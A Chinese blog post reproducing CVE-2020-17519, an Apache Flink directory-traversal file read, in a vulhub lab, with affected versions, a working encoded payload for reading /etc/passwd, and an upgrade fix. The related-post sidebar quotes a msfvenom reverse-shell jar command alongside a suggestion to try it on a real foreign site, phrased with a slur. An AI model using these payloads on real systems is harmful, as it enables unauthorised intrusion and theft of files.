Apache Flink -任意文件读取漏洞（CVE-2020-17519）

最新推荐文章于 2024-07-08 08:18:08 发布
最新推荐文章于 2024-07-08 08:18:08 发布
阅读量1.1k 收藏 1
点赞数
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_36197704/article/details/112284986
版权
本文详细介绍了Apache Flink 1.11.x版本中存在的一项安全漏洞，该漏洞允许攻击者通过JobManager的REST接口读取任意本地文件。受影响的版本包括1.11.0、1.11.1和1.11.2。POC展示了一个利用此漏洞读取/etc/passwd的示例。为修复此问题，建议用户将Flink升级到1.11.3或1.12.0版本。
摘要由CSDN通过智能技术生成

1.漏洞描述

          Apache Flink是一个开源流处理框架，具有强大的流处理和批处理功能。

         Apache Flink 1.11.0中引入的一项更改(包括版本1.11.1和1.11.2)允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统上的任何文件。

2.影响版本

  • 1.11.0
  • 1.11.1
  • 1.11.2

3.POC

/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

４.环境搭建

1）漏洞环境在docker中搭建，进入vulhub/flink/CVE-2020-17519目录

docker-compose up-d

2）访问http://192.168.157.148:8081，环境搭建成功，如下图所示

5.漏洞复现

直接访问POC

http://192.168.157.148:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

6.修复建议

升级Flink 到1.11.3或1.12.0版本，下载链接为：

https://flink.apache.org/downloads.html

https://flink.apache.org/downloads.html

chaojixiaojingang
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Apache Flink CVE-2020-17519
weixin_45682070的博客
02-04 258
fofa搜索Apache Flink app="APACHE-Flink" &&country="IN" 未授权任意上传jar包导致远程代码执行，找一个阿三的站试试 1：上传生成好的jar包 msfvenom -p java/meterpreter/reverse_tcp LHOST=ip LPORT=4568 -f jar > main.jar 上传jar包之后监听端口 use exploit/multi/handler set payload java/shell/reve
Linux本地内核提权漏洞复现(CVE-2019-13272)
m0_48520508的博客
01-19 776
0x00简介 在5.1.17之前的Linux内核中，kernel / ptrace.c中的ptrace_link错误地处理了想要创建ptrace关系的进程的凭据记录，这允许本地用户通过利用父子的某些方案来获取root访问权限 进程关系，父进程删除权限并调用execve可能允许攻击者控制。 0x01漏洞概述 Linux执行PTRACE_TRACEME函数时，ptrace_link函数将获得对父进程凭据的RCU引用，然后将该指针指向get_cred函数，但是，对象struct cred的生存周期规则不允许无条.
Apache Flink任意JAR包上传漏洞分析与修复指南
最新发布
weixin_43822401的博客
07-08 491
该漏洞允许未经授权的用户上传JAR文件，这些JAR文件可以在Flink集群上执行，可能导致远程代码执行（RCE）。Apache Flink的任意JAR包上传漏洞是一个严重的安全问题，需要立即采取措施进行修复。通过本文提供的分析和修复指南，可以帮助管理员和开发人员保护他们的Flink集群不受此漏洞的影响。
【漏洞复现】Apache Flink 文件读取（CVE-2020-17519）
weixin_43486390的博客
01-07 324
0x01 漏洞描述 ApacheFlink是一个开源的流处理框架，具有强大的流处理和批处理功能。Apache Flink 1.11.0（以及1.11.1和1.11.2中发布的）中引入的更改允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统中的任何文件。 0x02 影响版本 Flink 1.11.0、1.11.1、1.11.2 0x03 漏洞复现 简单验证： 读取该文件可直接判断是否存在漏洞 http://192.168.1.1:8081/jobmanager/logs/
Apache Flink漏洞（CVE-2020-17519）复现以及suricata规则检测
ranuy阮的博客
01-06 1486
0x01 漏洞简介 Apache Flink是一个开源流处理框架，具有强大的流处理和批处理功能。 Apache Flink 1.11.0中引入的一项更改(包括版本1.11.1和1.11.2)允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统上的任何文件。 0x02 影响版本 1.11.0 1.11.1 1.11.2 0x03 环境搭建 svn export https://github.com/vulhub/vulhub/trunk/flink/ 进入CVE-2
[漏洞预警]Apache Flink 高危漏洞预警(CVE-2020-17518 CVE-2020-17519)
Matrix42
01-07 1899
2021年1月5日，Apache Flink官方发布安全更新，修复了由蚂蚁安全非攻实验室发现提交的2个高危漏洞： CVE-2020-17519：攻击者可通过REST API使用…/跳目录实现系统任意文件读取； CVE-2020-17518：通过构造恶意的http header，可实现远程文件写入。 1. 漏洞描述 Flink核心是一个流式的数据流执行引擎，其针对数据流的分布式计算提供了数据分布、数据通信以及容错机制等功能。Flink 1.5.1引入了REST API，但其实现上存在多处缺陷，导致目录遍历
apache-doris-flink-connector-1.11_2.12-1.0.3
05-05
Flink Doris Connector（apache-doris-flink-connector-1.11_2.12-1.0.3-incubating-src.tar.gz） Flink Doris Connector Version：1.0.3 Flink Version：1.11 Scala Version：2.12 Apache Doris是一个现代MPP分析...
Apache Flink CVE-2020-17518-id：L.pdf
04-30
### Apache Flink CVE-2020-17518 任意文件写入漏洞详解 #### 漏洞概述 CVE-2020-17518 是一个存在于 Apache Flink 中的安全漏洞，它允许远程攻击者通过 REST API 目录遍历来实现任意文件写入的功能。这一漏洞在 ...
apache-doris-flink-connector-1.13_2.12-1.0.3
05-05
Flink Doris Connector 源码（apache-doris-flink-connector-1.13_2.12-1.0.3-incubating-src.tar.gz） Flink Doris Connector Version：1.0.3 Flink Version：1.13 Scala Version：2.12 Apache Doris是一个现代...
apache-doris-flink-connector-1.14_2.12-1.0.3
05-05
Flink Doris Connector（apache-doris-flink-connector-1.14_2.12-1.0.3-incubating-src.tar.gz） Flink Doris Connector Version：1.0.3 Flink Version：1.14 Scala Version：2.12 Apache Doris是一个现代MPP...
flink-1.14.0-bin-scala_2.11.tgz
07-18
2. `conf` 目录：配置文件所在，包括 `flink-conf.yaml`，用户可以在这里定制 Flink 集群的配置参数。 3. `lib` 目录：包含所有依赖的 JAR 包，用于运行 Flink 作业。 4. `docs` 目录：包含 Flink 的官方文档，帮助...
CVE-2020-17519:Apache Flink 目录遍历漏洞批量检测 (CVE-2020-17519)
05-30
使用方法&免责声明 该脚本为Apache Flink 目录遍历漏洞批量检测 (CVE-2020-17519)。 使用方法：Python CVE-2020-17519.py urls.txt urls.txt 中每个url为一行，漏洞地址输出在vul.txt中 影响版本： Apache Flink 1.11.0、1.11.1、1.11.2 工具仅用于安全人员安全测试，任何未授权检测造成的直接或者间接的后果及损失，均由使用者本人负责
CVE-2020-17519:CVE-2020-17519猎豹
04-17
CVE-2020-17519 CVE-2020-17519 Cheetah语言版，支持批量扫描。 将ip.txt复制到/script/漏洞探测/Apache/文件夹下，打开Wker主程序
Apache Flink (文件写入漏洞/文件读取漏洞​)CVE-2020-17518/17519
thelostworld
01-15 435
​Apache Flink (文件写入漏洞/文件读取漏洞)CVE-2020-17518/17519一、漏洞描述Apache Flink核心是一个流式的数据流执行引擎，其针对数据流的分布式计算提供了数据分布、数据通信以及容错机制等功能。Flink 1.5.1引入了REST API，但其实现上存在多处缺陷，导致目录遍历。CVE-2020-17518: 文件写入漏洞攻击者利用REST API，可以修改H...
Flink任意文件读写漏洞复现及排查
dayouzi的博客
08-14 294
Apache Flink是由Apache软件基金会开发的开源流处理框架，其核心是用Java和Scala编写的分布式流数据流引擎。Flink以数据并行和流水线方式执行任意流数据程序，Flink的流水线运行时系统可以执行批处理和流处理程序。此外，Flink的运行时本身也支持迭代算法的执行。Apache Flink的数据流编程模型在有限和无限数据集上提供单次事件（event-at-a-time）处理。在基础层面，Flink程序由流和转换组成。
Apache Flink 目录遍历漏洞 CVE-2020-17519
m0_54323635的博客
08-31 431
2021年01月06日，360CERT监测发现Apache Flink发布了Apache Flink 目录穿越漏洞的风险通告，漏洞编号为CVE-2020-17518,CVE-2020-17519，漏洞等级：高危，漏洞评分：8.5。Apache Flink 1.11.0 中引入的一项更改（也在 1.11.1 和 1.11.2 中发布）允许攻击者通过 JobManager 进程的 REST 接口读取 JobManager 本地文件系统上的任何文件。
漏洞复现 Apache Flink CVE-2020-17519 任意文件读取漏洞
god_Zeo的安全博客
01-06 683
0x01 漏洞简介 Apache Flink Apache Flink是一个开源流处理框架，具有强大的流处理和批处理功能。 Apache Flink 1.11.0中引入的一项更改(包括版本1.11.1和1.11.2)允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统上的任何文件。 CVE-2020-17519 任意文件读取漏洞 Apache Flink 1.11.0中引入了一项更新，该更新在1.11.1及更高的版本和1.11.2中发布。 该项更新允许攻击者通过JobM
Apache Flink漏洞（CVE-2020-17519）复现
锋刃科技的博客
01-06 5864
简介 Apache Flink是一个开源流处理框架，具有强大的流处理和批处理功能。 漏洞概述 Apache Flink 1.11.0中引入的一个更改(也在1.11.1和1.11.2中发布)允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统上的任何文件。 影响版本 1.11.0、1.11.1、1.11.2 环境搭建 使用vulhub进行安装 Vulhub地址： https://github.com/vulhu...
漏洞复现----12、Apache Flink目录穿越漏洞（CVE-2020-17519 ）
七天
11-10 2920
文章目录一、漏洞简介二、漏洞复现 一、漏洞简介 Apache Flink 1.11.0中引入的更改，允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统上的任何文件。但是访问仅限于JobManager进程可访问的文件。 影响版本： 1.11.0、1.11.1、1.11.2 二、漏洞复现 Payload： 192.168.198.132:8081/#/job-manager/logs/..%252f..%252f..%252f..%252f..%252f..%252f
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值